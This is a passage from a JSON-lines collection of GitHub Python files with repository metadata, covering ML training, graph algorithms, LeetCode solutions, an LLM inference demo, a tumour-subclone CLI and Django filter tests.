'ro-', label='val')\n    if epoch == 0:\n        ax0.legend()\n        ax1.legend()\n    fig.savefig(args.save_result)\n\n\n# lr decay\ndef lr_decay():\n    global optimizer\n    # embed(header='debug optimizer')\n    for params in optimizer.param_groups:\n        # params['lr'] *= 0.1\n        # reduce by 2 \n        params['lr'] /= 2 \n        lr = params['lr']\n        print(\"Learning rate adjusted to {}\".format(lr))\n\n\ndef main():\n    run = wandb.init(project = args.project_name, tags=[\"training vtx\"])\n    run.name = args.run_name\n\n    global optimizer\n\n    top1_defaults = []\n    p_k_defaults = []\n    map_defaults = []\n\n    top1_tbs = []\n    p_k_tbs = []\n    map_tbs = []\n\n    top1_fbs = []\n    p_k_fbs = []\n    map_fbs = []\n\n    epochs = []\n\n    for epoch in range(start_epoch, start_epoch + args.epochs):\n\n        train_loss, train_acc = train(epoch)\n        acc_top1_default, precision_k_default, mAP_default, acc_top1_tb, precision_k_tb, mAP_tb, acc_top1_fb, precision_k_fb, mAP_fb = eval_epoch(epoch)\n\n        top1_defaults.append(acc_top1_default)\n        p_k_defaults.append(precision_k_default)\n        map_defaults.append(mAP_default)\n\n        top1_tbs.append(acc_top1_tb)\n        p_k_tbs.append(precision_k_tb)\n        map_tbs.append(mAP_tb)\n\n        top1_fbs.append(acc_top1_fb)\n        p_k_fbs.append(precision_k_fb)\n        map_fbs.append(mAP_fb)\n\n        epochs.append(epoch)\n\n        # draw_curve(epoch, train_loss, train_acc, test_loss, test_acc)\n\n        # logging with wandb\n        wandb.log({'train/loss': train_loss,\n                    'train/top1_acc': train_acc}\n                    )\n\n        for params in optimizer.param_groups:\n            wandb.log({'train/lr': params['lr']})\n\n        wandb.log({'eval_whole_gallery/acc_top1': acc_top1_default,\n                    'eval_whole_gallery/p@5': precision_k_default,\n                    'eval_whole_gallery/mAP@5': mAP_default}\n                    )\n\n        wandb.log({'eval_trajectory_base/acc_top1': acc_top1_tb,\n                    'eval_trajectory_base/p@5': precision_k_tb,\n                    'eval_trajectory_base/mAP@5': mAP_tb}\n                    )\n\n        wandb.log({'eval_frame_base/acc_top1': acc_top1_fb,\n                    'eval_frame_base/p@5': precision_k_fb,\n                    'eval_frame_base/mAP@5': mAP_fb}\n                    )\n\n        # if (epoch+1) % 20 == 0:\n        # decay for every 5 epochs\n        if (epoch+1) % 5 == 0:\n            lr_decay()\n\n    # embed()\n\n    wandb.log({\"Top 1 Accuracy\" : wandb.plot.line_series(\n          xs=epochs,\n          ys=[top1_defaults, top1_tbs, top1_fbs],\n          keys=[\"eval on whole gallery\", \"eval by trajectory\", \"eval by frame\"],\n          title=\"new\",\n          xname=\"epochs\")})\n\n    wandb.log({\"P@5\" : wandb.plot.line_series(\n          xs=epochs,\n          ys=[p_k_defaults, p_k_tbs, p_k_fbs],\n          keys=[\"eval on whole gallery\", \"eval by trajectory\", \"eval by frame\"],\n          title=\"new\",\n          xname=\"epochs\")})\n    \n    wandb.log({\"mAP@5\" : wandb.plot.line_series(\n          xs=epochs,\n          ys=[map_defaults, map_tbs, map_fbs],\n          keys=[\"eval on whole gallery\", \"eval by trajectory\", \"eval by frame\"],\n          title=\"new\",\n          xname=\"epochs\")})\n\n\nif __name__ == '__main__':\n    main()","repo_name":"HaiNguyen2903/YoloV5_Deepsort_Custom","sub_path":"deep_sort_pytorch/deep_sort/deep/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":16674,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"37589224050","text":"\n\nINF = float('Inf')\n\n\ndef bellman_ford_algo(graph, root_node, final_node):\n    \"\"\"\n    Checks every edge at each iteration\n    Assumes there is not a negative cycle, checks for that in bottom for loop\n    \"\"\"\n\n    distances = {}\n    has_cycle = False\n\n    # initialize every node to infinity except the root node\n    for node in graph.nodes():\n        distances[node] = 0 if node == root_node else INF\n\n    # weight = graph.graph[edge[0]][edge[1]]\n    # repeat nodes-1 times\n    for i in range(1, len(graph.nodes())):\n        # iterate over every edge\n        for edge in graph.edges():\n                # n1 is edge[0], n2 is edge[1]\n                # if edge can be relaxed, relax it\n                if distances[edge[1]] > distances[edge[0]] + graph.graph[edge[0]][edge[1]]:\n                    distances[edge[1]] = distances[edge[0]] + graph.graph[edge[0]][edge[1]]\n\n    # if a node can still be relaxed, there is a negative cycle\n    # therefore assumption is false, cant be solved\n    for edge in graph.edges():\n            if distances[edge[1]] > distances[edge[0]] + graph.graph[edge[0]][edge[1]]:\n                has_cycle = True\n\n    return has_cycle, distances[final_node]\n","repo_name":"aepuripraveenkumar/data-structures","sub_path":"graph/bellman_ford.py","file_name":"bellman_ford.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4969775569","text":"# print(divmod(a,2)) # (2,1)\n# 앞에 것은 (세로 2개, 가로 2개, 큰거 1개로 case가 3개가 된다.)\n# 뒤에 것은 a *2 개만큼 경우의 수가 생긴다.\n\ncase = int(input())\ndata = divmod(case,2) # 몫과 나머지 산출\nresult = 0\ncnt = 1\nn = data[0]\nif data[1] == 0:\n    while n != 0:         # 나머지가 0인 경우\n        cnt = cnt * 4 - 1 # 경우의 수 + 1 (세로 1칸짜리의 경우 서로 겹치므로)\n        n -= 1\n\nelse:                     # data[1] == 1\n    while n != 0:         # 나머지가 1인 경우\n        cnt = cnt * 4 + 1 # 경우의 수 - 1 (세로 1칸짜리의 경우 서로 겹치므로)\n        n -= 1\n\nprint(cnt%10007)\n\n","repo_name":"goeom77/algorithm","sub_path":"백준/Silver/11727. 2×n 타일링 2/2×n 타일링 2.py","file_name":"2×n 타일링 2.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23926028034","text":"\n# coding: utf-8\n\n# In[19]:\n\nimport numpy as np\n\nclass Neuron:\n    def __init__(self, w, b, f, epsilon, acceptable_error):\n        self.w = np.concatenate((w,b), axis =1)\n        self.f = f\n        self.epsilon = epsilon\n        self. acceptable_error = acceptable_error\n        \n    def output(self, x):\n        return self.f(self.w.dot(x))\n    \n    def learn(self, teaching_datum):\n        while True:\n            x = teaching_datum[:-1]\n            yt = teaching_datum[-1]\n            y  = self.output(x)\n            se = np.power((yt-y) ,2)\n            \n            if se < self.acceptable_error:\n                return self.w\n            else:\n                self.w -= self.epsilon * 2*(yt-y)*y*(y-1.0)*x\n                \ndef f(x):\n    return 1 / (1+np.exp(-1*x))\n\n\n# In[24]:\n\nif __name__ =='__main__':\n    w =[[0.4,],]\n    b =[[0.5,],]\n    epsilon = 0.5\n    data = [[0,1,1],[1,1,0]]\n    a= 0.1\n    \n    n = Neuron(w,b,f,epsilon,a)\n    \n    for teaching_datum in data:\n        \n        print(n.learn(teaching_datum))\n\n\n# In[ ]:\n\n\n\n","repo_name":"watarukato/mpsyokohama","sub_path":"最急降下法で学習するニューロン_その2.py","file_name":"最急降下法で学習するニューロン_その2.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38679220212","text":"import sys\nimport math\nimport random\nimport time\n\n# set maximum recursion depth\nsys.setrecursionlimit(10001)\n\nall_permissions = {\n    \"1\": {\"permission\": \"view_user\", \"level\": \"user\"},\n    \"2\": {\"permission\": \"view_other_user\", \"level\": \"user\"},\n    \"3\": {\"permission\": \"create_user\", \"level\": \"user\"},\n    \"4\": {\"permission\": \"create_other_user\", \"level\": \"user\"},\n    \"5\": {\"permission\": \"edit_user\", \"level\": \"user\"},\n    \"6\": {\"permission\": \"edit_other_user\", \"level\": \"user\"},\n    \"7\": {\"permission\": \"delete_user\", \"level\": \"user\"},\n    \"8\": {\"permission\": \"delete_other_user\", \"level\": \"user\"},\n}\n\n\ndef user_can(target_sum):\n    results = []\n    remaining_sum = target_sum\n\n    pattern_entities = []\n    laergest_entity = 1\n    while laergest_entity <= target_sum:\n        pattern_entities.insert(0, laergest_entity)\n        laergest_entity *= 2\n\n    for current_entiry in pattern_entities:\n        if current_entiry <= remaining_sum:\n            results.append(int(math.log2(current_entiry)))\n            remaining_sum -= current_entiry\n\n    if remaining_sum > 0:\n        return []\n\n    return results\n\n\ndef is_user_can_do(user_permission, action):\n    if action in user_can(user_permission):\n        return True\n    return False\n\n\ncurrent_role = 0\nnumbers = list(range(1, 500))\nrandom.shuffle(numbers)\nrandom_numbers = numbers[:300]\n\nfor a in random_numbers:\n    current_role += 2**a\n\nlast_time = time.time()\nprint(\"Current role :\", current_role)\nprint(\"Is user can view_user : \", is_user_can_do(current_role, 1))\nprint(\"Exucution time : \", time.time() - last_time)\n","repo_name":"NirPisatto/POC_dynamic_role","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40110348474","text":"import itchat\r\n\r\nitchat.login()\r\n\r\nfriends = itchat.get_friends(update=True)[0:]\r\n\r\ndef parse_friedns():\r\n   itchat.login()\r\n   text = dict()\r\n   friedns = itchat.get_friends(update=True)[0:]\r\n   print(friedns)\r\n   male = \"male\"\r\n   female = \"female\"\r\n   other = \"other\"\r\n   for i in friedns[1:]:\r\n       sex = i['Sex']\r\n       if sex == 1:\r\n           text[male] = text.get(male, 0) + 1\r\n       elif sex == 2:\r\n           text[female] = text.get(female, 0) + 1\r\n       else:\r\n           text[other] = text.get(other, 0) + 1\r\n   total = len(friedns[1:])\r\n   print(\"男性好友： %.2f%%\" % (float(text[male]) / total * 100) + \"\\n\" +\r\n         \"女性好友： %.2f%%\" % (float(text[female]) / total * 100) + \"\\n\" +\r\n         \"不明性别好友： %.2f%%\" % (float(text[other]) / total * 100))\r\n   draw(text)\r\ndef draw(datas):\r\n   for key in datas.keys():\r\n       plt.bar(key, datas[key])\r\n       plt.legend()\r\n       plt.xlabel('sex')\r\n       plt.ylabel('rate')\r\n       plt.title(\"Gender of Alfred's friends\")\r\n       plt.show()\r\ndraw(plt)","repo_name":"OCC111/pc-code","sub_path":"scratch_7.py","file_name":"scratch_7.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34273161614","text":"import pandas as pd\nimport numpy as np\nfrom greenflow.dataframe_flow import Node, MetaData\nfrom greenflow.dataframe_flow import NodePorts, PortsSpecSchema\nfrom greenflow.dataframe_flow import ConfSchema\n\n\nclass DistanceNode(Node):\n\n    def ports_setup(self):\n        port_type = PortsSpecSchema.port_type\n        input_ports = {\n            'points_df_in': {\n                port_type: [pd.DataFrame]\n            }\n        }\n\n        output_ports = {\n            'distance_df': {\n                port_type: [pd.DataFrame]\n            },\n            'distance_abs_df': {\n                PortsSpecSchema.port_type:  [pd.DataFrame]\n            }\n        }\n        input_connections = self.get_connected_inports()\n        if 'points_df_in' in input_connections:\n            types = input_connections['points_df_in']\n            # connected, use the types passed in from parent\n            return NodePorts(inports={'points_df_in': {port_type: types}},\n                             outports={'distance_df': {port_type: types},\n                                       'distance_abs_df': {port_type: types},\n                                       })\n        else:\n            return NodePorts(inports=input_ports, outports=output_ports)\n\n    def conf_schema(self):\n        return ConfSchema()\n\n    def init(self):\n        self.delayed_process = True\n\n    def meta_setup(self):\n        req_cols = {\n            'x': 'float64',\n            'y': 'float64'\n        }\n        required = {\n            'points_df_in': req_cols,\n        }\n        input_meta = self.get_input_meta()\n        output_cols = ({\n                'distance_df': {\n                    'distance_cudf': 'float64',\n                    'x': 'float64',\n                    'y': 'float64'\n                },\n                'distance_abs_df': {\n                    'distance_abs_cudf': 'float64',\n                    'x': 'float64',\n                    'y': 'float64'\n                }\n            })\n        if 'points_df_in' in input_meta:\n            col_from_inport = input_meta['points_df_in']\n            # additional ports\n            output_cols['distance_df'].update(col_from_inport)\n            output_cols['distance_abs_df'].update(col_from_inport)\n        return MetaData(inports=required, outports=output_cols)\n\n    def process(self, inputs):\n        df = inputs['points_df_in']\n        output = {}\n        if self.outport_connected('distance_df'):\n            copy_df = df.copy()\n            copy_df['distance_cudf'] = np.sqrt((df['x'] ** 2 + df['y'] ** 2))\n            output.update({'distance_df': copy_df})\n        if self.outport_connected('distance_abs_df'):\n            copy_df = df.copy()\n            copy_df['distance_abs_cudf'] = np.abs(df['x']) + np.abs(df['y'])\n            output.update({'distance_abs_df': copy_df})\n        return output\n","repo_name":"emendamus/fsi-samples","sub_path":"gQuant/plugins/simple_example/example/distanceNode.py","file_name":"distanceNode.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"10846419582","text":"import asyncio\nimport logging\nfrom typing import List\nfrom aiohttp import ClientSession, ClientError\n\nlogger = logging.getLogger(__name__)\n\nclass ResourseLoader():\n    \"\"\"Class to load concurrently all pages of API resource from a given URL.\"\"\"\n    def __init__(self, session: ClientSession):\n        self.session = session\n\n    async def get_total_pages(self, url: str) -> int:\n        page = await self.fetch_page(url, 1)\n        return page['info']['pages']\n\n    async def fetch_page(self, url: str, page: int):\n        try:\n            async with self.session.get(url, params={'page': page}) as response:\n                response.raise_for_status()  \n                return await response.json()\n        except ClientError as e:\n            logger.error(f\"An error occurred while fetching page {page}: {e}\")\n            raise e\n\n    async def fetch_all_pages(self, url: str) -> List[dict]:\n        total_pages = await self.get_total_pages(url)\n        tasks = []\n        for page in range(1, total_pages + 1):\n            task = asyncio.ensure_future(self.fetch_page(url, page))\n            tasks.append(task)\n            responses = await asyncio.gather(*tasks)\n        results = []\n        for response in responses:\n            if response:\n                results.extend(response['results'])\n        return results","repo_name":"Zhornovyi/RickAndMorty","sub_path":"api/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31934685266","text":"# This is an interactive problem.\n# You are given an array of unique strings wordlist where wordlist[i] is 6 letters long, and one word in this list is chosen as secret.\n# You may call Master.guess(word) to guess a word. The guessed word should have type string and must be from the original list with 6 lowercase letters.\n# This function returns an integer type, representing the number of exact matches (value and position) of your guess to the secret word. Also, if your guess is not in the given wordlist, it will return -1 instead.\n# For each test case, you have exactly 10 guesses to guess the word. At the end of any number of calls, if you have made 10 or fewer calls to Master.guess and at least one of these guesses was secret, then you pass the test case.\n#\n# Example 1:\n#\n# Input: secret = \"acckzz\", wordlist = [\"acckzz\",\"ccbazz\",\"eiowzz\",\"abcczz\"], numguesses = 10\n# Output: You guessed the secret word correctly.\n# Explanation:\n# master.guess(\"aaaaaa\") returns -1, because \"aaaaaa\" is not in wordlist.\n# master.guess(\"acckzz\") returns 6, because \"acckzz\" is secret and has all 6 matches.\n# master.guess(\"ccbazz\") returns 3, because \"ccbazz\" has 3 matches.\n# master.guess(\"eiowzz\") returns 2, because \"eiowzz\" has 2 matches.\n# master.guess(\"abcczz\") returns 4, because \"abcczz\" has 4 matches.\n# We made 5 calls to master.guess and one of them was the secret, so we pass the test case.\n#\n# Example 2:\n#\n# Input: secret = \"hamada\", wordlist = [\"hamada\",\"khaled\"], numguesses = 10\n# Output: You guessed the secret word correctly.\n#\n# Constraints:\n#\n# 1 <= wordlist.length <= 100\n# wordlist[i].length == 6\n# wordlist[i] consist of lowercase English letters.\n# All the strings of wordlist are unique.\n# secret exists in wordlist.\n# numguesses == 10\n\n\n# \"\"\"\n# This is Master's API interface.\n# You should not implement it, or speculate about its implementation\n# \"\"\"\n# class Master:\n#     def guess(self, word: str) -> int:\n\n\n# https://leetcode.com/problems/guess-the-word/discuss/1318789/Careful-explanation-of-two-ideas-that-allow-you-to-solve-this-problem-in-a-few-lines\nfrom collections import Counter\n\n\nclass Solution:\n    def findSecretWord(self, wordlist: List[str], master: \"Master\") -> None:\n        def pair_matches(a, b):  # count the number of matching characters\n            return sum(c1 == c2 for c1, c2 in zip(a, b))\n\n        def most_overlap_word():\n            # counts[i][j] is number of words with char j at index i\n            counts = [Counter() for _ in range(6)]\n            for w in candidates:\n                for i, c in enumerate(w):\n                    counts[i][c] += 1\n\n            best_score = 0\n            for w in candidates:\n                score = 0\n                for i, c in enumerate(w):\n                    # all words with same chars at same positions\n                    score += counts[i][c]\n                if score > best_score:\n                    best_score = score\n                    best_word = w\n            return best_word\n\n        candidates = wordlist[:]  # all remaining candidates, initially all words\n        while candidates:\n            s = most_overlap_word()  # guess the word that overlaps with most others\n            matches = master.guess(s)\n\n            if matches == 6:\n                return\n\n            # filter words with same matches\n            candidates = [w for w in candidates if pair_matches(s, w) == matches]\n","repo_name":"hongbo-miao/leetcode","sub_path":"Python/0843. Guess the Word.py","file_name":"0843. Guess the Word.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":197,"dataset":"github-code","pt":"3"}
+{"seq_id":"72020186003","text":"import os\nfrom typing import Tuple, List\n\n# Ignore Tensor-RT warning from huggingface\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"2\"\n\nimport torch\nimport time\nfrom transformers import AutoTokenizer, TextStreamer\n\nimport argparse\n\n\ndef boolean_string(string):\n    low_string = string.lower()\n    if low_string not in {\"false\", \"true\"}:\n        raise ValueError(\"Not a valid boolean string\")\n    return low_string == \"true\"\n\n\nDTYPE_LIST = [\n    \"fp16\",\n    \"bf16\",\n    \"int8\",\n    \"w8a8\",\n    \"int4\",\n    \"nf4\",\n    \"bf16_fp16\",\n    \"bf16_int8\",\n    \"bf16_w8a8\",\n    \"bf16_int4\",\n    \"bf16_nf4\",\n    \"w8a8_int8\",\n    \"w8a8_int4\",\n    \"w8a8_nf4\",\n]\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-t\", \"--token_path\", type=str, default=\"/data/chatglm-6b-hf\", help=\"Path to token file\")\nparser.add_argument(\"-m\", \"--model_path\", type=str, default=\"/data/chatglm-6b-cpu\", help=\"Path to model file\")\nparser.add_argument(\"-d\", \"--dtype\", type=str, choices=DTYPE_LIST, default=\"fp16\", help=\"Data type\")\nparser.add_argument(\"--padding\", help=\"Enable padding, Default to True.\", type=boolean_string, default=False)\nparser.add_argument(\"--streaming\", help=\"Streaming output, Default to True.\", type=boolean_string, default=True)\nparser.add_argument(\"--num_beams\", help=\"Num of beams, default to 1 which is greedy search.\", type=int, default=1)\nparser.add_argument(\"--output_len\", help=\"max tokens can generate excluded input.\", type=int, default=100)\nparser.add_argument(\"--chat\", help=\"Enable chat mode, Default to False.\", type=boolean_string, default=False)\nparser.add_argument(\"--do_sample\", help=\"Enable sampling search, Default to False.\", type=boolean_string, default=False)\nparser.add_argument(\"--temperature\", help=\"value used to modulate next token probabilities.\", type=float, default=1.0)\nparser.add_argument(\"--top_p\", help=\"retain minimal tokens above topP threshold.\", type=float, default=1.0)\nparser.add_argument(\"--top_k\", help=\"num of highest probability tokens to keep for generation\", type=int, default=50)\n\n\ndef build_inputs_chatglm(tokenizer, query: str, padding, history: List[Tuple[str, str]] = []):\n    prompt = \"\"\n    for i, (old_query, response) in enumerate(history):\n        prompt += \"[Round {}]\\n\\n问：{}\\n\\n答：{}\\n\\n\".format(i + 1, old_query, response)\n    prompt += \"[Round {}]\\n\\n问：{}\\n\\n答：\".format(len(history) + 1, query)\n    inputs = tokenizer(prompt, return_tensors=\"pt\", padding=padding).input_ids\n    return inputs\n\n\ndef build_inputs_baichuan(tokenizer, query: str, padding, history: List[Tuple[str, str]] = []):\n    inputs = tokenizer(query, return_tensors=\"pt\", padding=padding).input_ids\n    suffix = torch.tensor([[196]])\n    prefix = torch.tensor([[195]])\n    inputs = torch.cat((prefix, inputs, suffix), dim=1)\n    return inputs\n\n\nimport importlib.util\n\nxft_spec = importlib.util.find_spec(\"xfastertransformer\")\n\nif xft_spec is None:\n    import sys\n\n    sys.path.append(\"../../src\")\n    print(\"[INFO] xfastertransformer is not installed in pip, using source code.\")\nelse:\n    print(\"[INFO] xfastertransformer is installed, using pip installed package.\")\n\nimport xfastertransformer\n\nDEFAULT_PROMPT = \"Once upon a time, there existed a little girl who liked to have adventures.\"\n\nif __name__ == \"__main__\":\n    args = parser.parse_args()\n\n    tokenizer = AutoTokenizer.from_pretrained(\n        args.token_path, use_fast=False, padding_side=\"left\", trust_remote_code=True\n    )\n\n    model = xfastertransformer.AutoModel.from_pretrained(args.model_path, dtype=args.dtype)\n    streamer = None\n    if model.rank == 0 and args.streaming and args.num_beams == 1:\n        streamer = TextStreamer(tokenizer, skip_special_tokens=True, skip_prompt=False)\n\n    if model.rank == 0:\n        # Master\n        while True:\n            input_prompt = input(\"\\nPlease enter the prompt: \")\n            if input_prompt == \"\":\n                input_prompt = DEFAULT_PROMPT\n                print(\"[Use default prompt]:\" + input_prompt)\n            if args.chat and \"chatglm\" in args.model_path.lower():\n                input_ids = build_inputs_chatglm(tokenizer, input_prompt, args.padding)\n            elif \"baichuan\" in args.model_path.lower():\n                input_ids = build_inputs_baichuan(tokenizer, input_prompt, args.padding)\n            else:\n                input_ids = tokenizer(input_prompt, return_tensors=\"pt\", padding=args.padding).input_ids\n            print(\"=\" * 50)\n\n            start_time = time.perf_counter()\n            generated_ids = model.generate(\n                input_ids,\n                max_length=input_ids.shape[-1] + args.output_len,\n                streamer=streamer,\n                num_beams=args.num_beams,\n                do_sample=args.do_sample,\n                temperature=args.temperature,\n                top_k=args.top_k,\n                top_p=args.top_p,\n            )\n            end_time = time.perf_counter()\n\n            if streamer is None:\n                ret = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)\n                for snt in ret:\n                    print(snt)\n            print(\"=\" * 20 + \"Performance\" + \"=\" * 20)\n            execution_time = end_time - start_time\n            print(f\"Execution time:\\t{execution_time:.2f} s\")\n            input_token_nums = torch.numel(input_ids)\n            output_token_nums = torch.numel(generated_ids) - input_token_nums\n            latency = execution_time * 1000 / output_token_nums\n            througput = output_token_nums / execution_time\n            print(f\"Latency:\\t{latency:.2f} ms/token\")\n            print(f\"Througput:\\t{througput:.2f} tokens/s\")\n    else:\n        # Slave\n        while True:\n            model.generate()\n","repo_name":"intel/xFasterTransformer","sub_path":"examples/pytorch/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":5682,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"3"}
+{"seq_id":"32201280482","text":"import pathlib\nimport sys\n\nimport fire\nimport logbook\nimport pandas\n\nfrom . import loaders\nfrom . import phylogeny\nfrom . import subclone\n\n\n_LOG = logbook.Logger(__name__)\n\n\nclass Entrypoint:\n    \"\"\"FastClone: a tumour subclone inference tool\n\n    Check subcommands for sample loading.\n    Chain multiple subcommands load multiple samples and infer.\n    Use '-- --help' to show help messages.\n\n    Examples\n    --------\n    fastclone load-pyclone t1 t1.tsv None load-pyclone t2 t2.tsv 0.8 solve\n\n    Notes\n    -----\n    If MuTect VCF and PyClone samples are provided, note that MuTect\n    mutations are labelled as 'Chromosome:Coordinate:AltBase', such as\n    'Y:15989697:G'. Make sure PyClone ID uses the same ID.\n    \"\"\"\n\n    def __init__(self):\n        self._samples = dict()\n\n    def load_mutect_battenberg(self, name, vcf_path, vcf_sample,\n                               battenberg_path):\n        \"\"\"Load a sample from MuTect and Battenberg files.\n\n        Parameters\n        ----------\n        name : str\n            The name of the sample.\n        vcf_path : str\n            The MuTect VCF file.\n        vcf_sample : str\n            The column of sample in the VCF file to read.\n        battenberg_path : str\n            The Battenberg file.\n        \"\"\"\n        if name in self._samples:\n            raise ValueError('duplicate sample: ' + name)\n        _LOG.info('Loading {} ...', name)\n        _LOG.info('VCF file {} (column: {})', vcf_path, vcf_sample)\n        _LOG.info('Battenberg file {}', battenberg_path)\n        self._samples[name] = loaders.load_mutect_and_battenberg(\n            vcf_path, vcf_sample, battenberg_path,\n        )\n        return self\n\n    def load_pyclone(self, name, path, purity):\n        \"\"\"Load a sample from a PyClone file.\n\n        Parameters\n        ----------\n        path : str\n            A path or a file handle of the VCF file.\n        purity : float\n            An estimated tumour turity. If unknown, use None.\n        \"\"\"\n        if name in self._samples:\n            raise ValueError('duplicate sample: ' + name)\n        _LOG.info('Loading {} ...', name)\n        _LOG.info('PyClone file {}', path)\n        if purity is None:\n            _LOG.info('Infer the purity later.')\n        else:\n            _LOG.info('Purity: {}', purity)\n        self._samples[name] = (loaders.load_pyclone(path), purity)\n        return self\n\n    def load_pyclone_truth(self, name, path, truth):\n        \"\"\"Load a sample from a PyClone file with pickled data.\n\n        Parameters\n        ----------\n        path : str\n            A path or a file handle of the VCF file.\n        truth : str\n            A truth subclonal frequency file.\n        \"\"\"\n        if name in self._samples:\n            raise ValueError('duplicate sample: ' + name)\n        _LOG.info('Loading {} ...', name)\n        _LOG.info('PyClone file {}', path)\n        _LOG.info('Truth file: {}', truth)\n        self._samples[name] = (loaders.load_pyclone(path), truth)\n        return self\n\n    def solve(self, output):\n        \"\"\"Infer the subclonal composition.\n\n        Parameters\n        ----------\n        output : str\n            The output path.\n        \"\"\"\n        if not self._samples:\n            raise RuntimeError('inference needs at least one sample')\n        if len(self._samples) > 1:\n            raise NotImplementedError('mult-sample inference is not available')\n        _LOG.info('Solving subclonal composition ...')\n        pathlib.Path(output).mkdir(parents=True, exist_ok=True)\n        samples = list(self._samples.items())\n        subclones = None\n        for name, sample in samples:\n            sample_subclones, score = subclone.infer_single_sample(*sample)\n            sample_subclones = pandas.DataFrame(sample_subclones,\n                                                columns=[name])\n            if subclones is None:\n                subclones = sample_subclones\n        phylogeny.infer(subclones, score, output)\n        pandas.DataFrame(subclones).to_csv(output + '/subclones.csv')\n        pandas.DataFrame(score).to_csv(output + '/scores.csv')\n    \n    @staticmethod\n    def version():\n        \"\"\"Display the FastClone version.\n        \"\"\"\n        \n        print('Ver. 1.0.9')\n\n\ndef main():\n    with logbook.StderrHandler(level=\"INFO\").applicationbound():\n        fire.Fire(Entrypoint)\n\n\nif __name__ == '__main__':\n    sys.exit(main())\n","repo_name":"GuanLab/FastClone_GuanLab","sub_path":"fastclone/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"3"}
+{"seq_id":"29027882107","text":"from builtins import object\n\nfrom django_filters.filters import Filter, Lookup\nfrom mock.mock import MagicMock, call\n\nfrom kelvin.common.filters import ListFilter, precise_datetime_filter\n\n\ndef test_precise_date_updated_filter(mocker):\n    \"\"\"\n    Тест `precise_date_updated_filter`\n    \"\"\"\n    queryset = MagicMock()\n    queryset.filter.return_value = 'filtered queryset'\n    mocked = mocker.patch('kelvin.common.filters.dt_from_microseconds')\n    mocked.return_value = 'datetime'\n\n    # нормальное поведение\n    assert precise_datetime_filter(queryset, 'date_updated', 'dt') == (\n        'filtered queryset')\n    assert queryset.mock_calls == [call.filter(date_updated='datetime')]\n    assert mocked.mock_calls == [call('dt')]\n\n    # неправильное значение, приводящее к исключению\n    mocked.reset_mock()\n    queryset.reset_mock()\n    mocked.side_effect = TypeError\n    assert precise_datetime_filter(queryset, 'date_updated', 'dt') is queryset\n    assert queryset.mock_calls == []\n    assert mocked.mock_calls == [call('dt')]\n\n\nclass TestListFilter(object):\n    \"\"\"Тесты списочного фильтра\"\"\"\n    tested_filter = ListFilter(field_name='testarg')\n\n    def test_filter(self, mocker):\n        \"\"\"Тесты фильтрации\"\"\"\n        mocked_super_filter = mocker.patch.object(Filter, 'filter')\n        mocked_super_filter.return_value = '<filtered_qs>'\n\n        # Нормальная фильтрация\n        assert self.tested_filter.filter('<qs>', 'val') == '<filtered_qs>'\n        assert mocked_super_filter.mock_calls == [\n            call('<qs>', Lookup(value=['val'], lookup_type='in'))\n        ]\n\n        # Ошибка в фильтрации\n        mocked_super_filter.reset_mock()\n        mocked_super_filter.side_effect = ValueError\n\n        assert self.tested_filter.filter('<qs>', 'val1,val2') == '<qs>'\n        assert mocked_super_filter.mock_calls == [\n            call('<qs>', Lookup(value=['val1', 'val2'], lookup_type='in'))\n        ]\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/test_filters.py","file_name":"test_filters.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32472717545","text":"class Solution(object):\n    def intersection(self, nums1, nums2):\n        out = []\n        nums1 = sorted(nums1)\n        nums2 = sorted(nums2)\n        for q in nums1:\n            if q not in out:\n                if q in nums2:\n                    out.append(q)\n        return out\n","repo_name":"iammax/leetcode","sub_path":"solutions/py/p0349_intersection_of_two_arrays.py","file_name":"p0349_intersection_of_two_arrays.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
